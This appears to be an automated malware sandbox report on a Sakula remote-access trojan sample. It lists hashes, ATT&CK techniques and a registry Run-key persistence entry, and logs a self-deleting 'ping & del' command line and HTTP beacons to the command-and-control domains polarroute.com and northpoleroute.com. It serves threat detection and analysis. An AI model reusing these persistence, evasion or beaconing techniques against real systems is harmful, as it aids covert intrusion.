sakula | 3f1f939543ecb3feefcfb57044ed1cff6131f0f409b0de93720d2721f2903a3e

Analysis

max time kernel
118s
max time network
115s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
02/12/2024, 10:58 UTC

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General

Target

3f1f939543ecb3feefcfb57044ed1cff6131f0f409b0de93720d2721f2903a3e.exe
Size

105KB
MD5

e4613537d468e369e3ba9918e8c85caa
SHA1

758576f401b5ef0826aa0112edf6ae25460e98d1
SHA256

3f1f939543ecb3feefcfb57044ed1cff6131f0f409b0de93720d2721f2903a3e
SHA512

5fbe9fcc20d45af8978cbd891a6d96ff3db547f0446f46e89e626ae6d2f12f2a746638a9e1e1fc46905dba1b7fa2c7b77d1deaec75aa8aabe58f8be4e97f3518
SSDEEP

1536:anRw3vN6mG1y8nRB8aX3DVwd4sSH2/fTMLkKFTeUCD+xFOOf4EVRMLfsU9:aCv48aHDCz/LUkwedD+MLfsg

Score

10^/10

sakula discovery persistence rat trojan

Malware Config

Extracted

Family

sakula

www.polarroute.com

Signatures

Sakula
Sakula is a remote access trojan with various capabilities.
trojan rat sakula
Sakula family
sakula

Sakula payload 6 IoCs

resource	yara_rule
behavioral2/memory/1772-0-0x0000000000400000-0x0000000000438000-memory.dmp	family_sakula
behavioral2/memory/1772-6-0x0000000000400000-0x0000000000438000-memory.dmp	family_sakula
behavioral2/memory/3152-8-0x0000000000400000-0x0000000000438000-memory.dmp	family_sakula
behavioral2/memory/3152-9-0x0000000000400000-0x0000000000438000-memory.dmp	family_sakula
behavioral2/memory/1772-14-0x0000000000400000-0x0000000000438000-memory.dmp	family_sakula
behavioral2/memory/3152-19-0x0000000000400000-0x0000000000438000-memory.dmp	family_sakula

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	3f1f939543ecb3feefcfb57044ed1cff6131f0f409b0de93720d2721f2903a3e.exe

Executes dropped EXE 1 IoCs

pid	Process
3152	MediaCenter.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MicroMedia = "C:\\Users\\Admin\\AppData\\Local\\Temp\\MicroMedia\\MediaCenter.exe"	3f1f939543ecb3feefcfb57044ed1cff6131f0f409b0de93720d2721f2903a3e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3f1f939543ecb3feefcfb57044ed1cff6131f0f409b0de93720d2721f2903a3e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MediaCenter.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1716	cmd.exe
1628	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1628	PING.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeIncBasePriorityPrivilege	1772	3f1f939543ecb3feefcfb57044ed1cff6131f0f409b0de93720d2721f2903a3e.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1772 wrote to memory of 3152	1772	3f1f939543ecb3feefcfb57044ed1cff6131f0f409b0de93720d2721f2903a3e.exe	88
PID 1772 wrote to memory of 3152	1772	3f1f939543ecb3feefcfb57044ed1cff6131f0f409b0de93720d2721f2903a3e.exe	88
PID 1772 wrote to memory of 3152	1772	3f1f939543ecb3feefcfb57044ed1cff6131f0f409b0de93720d2721f2903a3e.exe	88
PID 1772 wrote to memory of 1716	1772	3f1f939543ecb3feefcfb57044ed1cff6131f0f409b0de93720d2721f2903a3e.exe	98
PID 1772 wrote to memory of 1716	1772	3f1f939543ecb3feefcfb57044ed1cff6131f0f409b0de93720d2721f2903a3e.exe	98
PID 1772 wrote to memory of 1716	1772	3f1f939543ecb3feefcfb57044ed1cff6131f0f409b0de93720d2721f2903a3e.exe	98
PID 1716 wrote to memory of 1628	1716	cmd.exe	100
PID 1716 wrote to memory of 1628	1716	cmd.exe	100
PID 1716 wrote to memory of 1628	1716	cmd.exe	100

C:\Users\Admin\AppData\Local\Temp\3f1f939543ecb3feefcfb57044ed1cff6131f0f409b0de93720d2721f2903a3e.exe
"C:\Users\Admin\AppData\Local\Temp\3f1f939543ecb3feefcfb57044ed1cff6131f0f409b0de93720d2721f2903a3e.exe"
1⤵
- Checks computer location settings
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1772
- C:\Users\Admin\AppData\Local\Temp\MicroMedia\MediaCenter.exe
  C:\Users\Admin\AppData\Local\Temp\MicroMedia\MediaCenter.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3152
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 & del /q "C:\Users\Admin\AppData\Local\Temp\3f1f939543ecb3feefcfb57044ed1cff6131f0f409b0de93720d2721f2903a3e.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1716
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1628

Network

DNS

217.106.137.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

217.106.137.52.in-addr.arpa

IN PTR

Response
DNS

4.159.190.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

4.159.190.20.in-addr.arpa

IN PTR

Response
DNS

95.221.229.192.in-addr.arpa

Remote address:

8.8.8.8:53

Request

95.221.229.192.in-addr.arpa

IN PTR

Response
DNS

www.polarroute.com

MediaCenter.exe

Remote address:

8.8.8.8:53

Request

www.polarroute.com

IN A

Response

www.polarroute.com

IN A

13.248.169.48

www.polarroute.com

IN A

76.223.54.146
POST

http://www.polarroute.com/newimage.asp?imageid=mgfyyesu-618957705&type=0&resid=240645296

MediaCenter.exe

Remote address:

13.248.169.48:80

Request

POST /newimage.asp?imageid=mgfyyesu-618957705&type=0&resid=240645296 HTTP/1.1
User-Agent: iexplorer
Host: www.polarroute.com
Content-Length: 176
Cache-Control: no-cache
DNS

48.169.248.13.in-addr.arpa

Remote address:

8.8.8.8:53

Request

48.169.248.13.in-addr.arpa

IN PTR

Response

48.169.248.13.in-addr.arpa

IN PTR

a904c694c05102f30awsglobalacceleratorcom
DNS

53.210.109.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

53.210.109.20.in-addr.arpa

IN PTR

Response
DNS

171.39.242.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

171.39.242.20.in-addr.arpa

IN PTR

Response
DNS

92.12.20.2.in-addr.arpa

Remote address:

8.8.8.8:53

Request

92.12.20.2.in-addr.arpa

IN PTR

Response

92.12.20.2.in-addr.arpa

IN PTR

a2-20-12-92deploystaticakamaitechnologiescom
POST

http://www.polarroute.com/newimage.asp?imageid=mgfyyesu-618957705&type=0&resid=240669625

MediaCenter.exe

Remote address:

13.248.169.48:80

Request

POST /newimage.asp?imageid=mgfyyesu-618957705&type=0&resid=240669625 HTTP/1.1
User-Agent: iexplorer
Host: www.polarroute.com
Content-Length: 176
Cache-Control: no-cache
POST

http://www.polarroute.com/newimage.asp?imageid=mgfyyesu-618957705&type=0&resid=240692843

MediaCenter.exe

Remote address:

13.248.169.48:80

Request

POST /newimage.asp?imageid=mgfyyesu-618957705&type=0&resid=240692843 HTTP/1.1
User-Agent: iexplorer
Host: www.polarroute.com
Content-Length: 176
Cache-Control: no-cache
POST

http://www.polarroute.com/newimage.asp?imageid=mgfyyesu-618957705&type=0&resid=240714062

MediaCenter.exe

Remote address:

13.248.169.48:80

Request

POST /newimage.asp?imageid=mgfyyesu-618957705&type=0&resid=240714062 HTTP/1.1
User-Agent: iexplorer
Host: www.polarroute.com
Content-Length: 176
Cache-Control: no-cache
DNS

www.northpoleroute.com

MediaCenter.exe

Remote address:

8.8.8.8:53

Request

www.northpoleroute.com

IN A

Response
DNS

83.210.23.2.in-addr.arpa

Remote address:

8.8.8.8:53

Request

83.210.23.2.in-addr.arpa

IN PTR

Response

83.210.23.2.in-addr.arpa

IN PTR

a2-23-210-83deploystaticakamaitechnologiescom
DNS

22.236.111.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

22.236.111.52.in-addr.arpa

IN PTR

Response
DNS

www.northpoleroute.com

MediaCenter.exe

Remote address:

8.8.8.8:53

Request

www.northpoleroute.com

IN A

Response

13.248.169.48:80

http://www.polarroute.com/newimage.asp?imageid=mgfyyesu-618957705&type=0&resid=240645296

http

MediaCenter.exe

628 B
172 B
6
4

HTTP Request

POST http://www.polarroute.com/newimage.asp?imageid=mgfyyesu-618957705&type=0&resid=240645296
13.248.169.48:80

http://www.polarroute.com/newimage.asp?imageid=mgfyyesu-618957705&type=0&resid=240669625

http

MediaCenter.exe

628 B
172 B
6
4

HTTP Request

POST http://www.polarroute.com/newimage.asp?imageid=mgfyyesu-618957705&type=0&resid=240669625
13.248.169.48:80

http://www.polarroute.com/newimage.asp?imageid=mgfyyesu-618957705&type=0&resid=240692843

http

MediaCenter.exe

582 B
172 B
5
4

HTTP Request

POST http://www.polarroute.com/newimage.asp?imageid=mgfyyesu-618957705&type=0&resid=240692843
13.248.169.48:80

http://www.polarroute.com/newimage.asp?imageid=mgfyyesu-618957705&type=0&resid=240714062

http

MediaCenter.exe

582 B
172 B
5
4

HTTP Request

POST http://www.polarroute.com/newimage.asp?imageid=mgfyyesu-618957705&type=0&resid=240714062

8.8.8.8:53

217.106.137.52.in-addr.arpa

dns

73 B
147 B
1
1

DNS Request

217.106.137.52.in-addr.arpa
8.8.8.8:53

4.159.190.20.in-addr.arpa

dns

71 B
157 B
1
1

DNS Request

4.159.190.20.in-addr.arpa
8.8.8.8:53

95.221.229.192.in-addr.arpa

dns

73 B
144 B
1
1

DNS Request

95.221.229.192.in-addr.arpa
8.8.8.8:53

www.polarroute.com

dns

MediaCenter.exe

64 B
96 B
1
1

DNS Request

www.polarroute.com

DNS Response

13.248.169.48

76.223.54.146
8.8.8.8:53

48.169.248.13.in-addr.arpa

dns

72 B
128 B
1
1

DNS Request

48.169.248.13.in-addr.arpa
8.8.8.8:53

53.210.109.20.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

53.210.109.20.in-addr.arpa
8.8.8.8:53

171.39.242.20.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

171.39.242.20.in-addr.arpa
8.8.8.8:53

92.12.20.2.in-addr.arpa

dns

69 B
131 B
1
1

DNS Request

92.12.20.2.in-addr.arpa
8.8.8.8:53

www.northpoleroute.com

dns

MediaCenter.exe

68 B
141 B
1
1

DNS Request

www.northpoleroute.com
8.8.8.8:53

83.210.23.2.in-addr.arpa

dns

70 B
133 B
1
1

DNS Request

83.210.23.2.in-addr.arpa
8.8.8.8:53

22.236.111.52.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

22.236.111.52.in-addr.arpa
8.8.8.8:53

www.northpoleroute.com

dns

MediaCenter.exe

68 B
141 B
1
1

DNS Request

www.northpoleroute.com

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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C:\Users\Admin\AppData\Local\Temp\MicroMedia\MediaCenter.exe

Filesize
105KB

MD5
49cdc449cabc2165358618c23894774e

SHA1
d60fdded2106889d4a1032fa38ca659452de9c54

SHA256
bdcccaeb9e978dc110ac60e4762220f772c6aa474a9a38bbd977b35882c421eb

SHA512
4a6c94f0ddab6c243fd447f0c09f564f9b0c2cfc2d4fdf182dcf7ebd65964532cfe62da298f51f2f479077627d80a6cb69f90fda0094ba0fc3937d05a8c6a9fa

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memory/1772-1-0x0000000000401000-0x000000000040F000-memory.dmp

Filesize
56KB

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memory/1772-0-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

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memory/1772-6-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

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memory/1772-14-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

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memory/3152-8-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

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memory/3152-9-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

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memory/3152-19-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

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MITRE ATT&CK Enterprise v15

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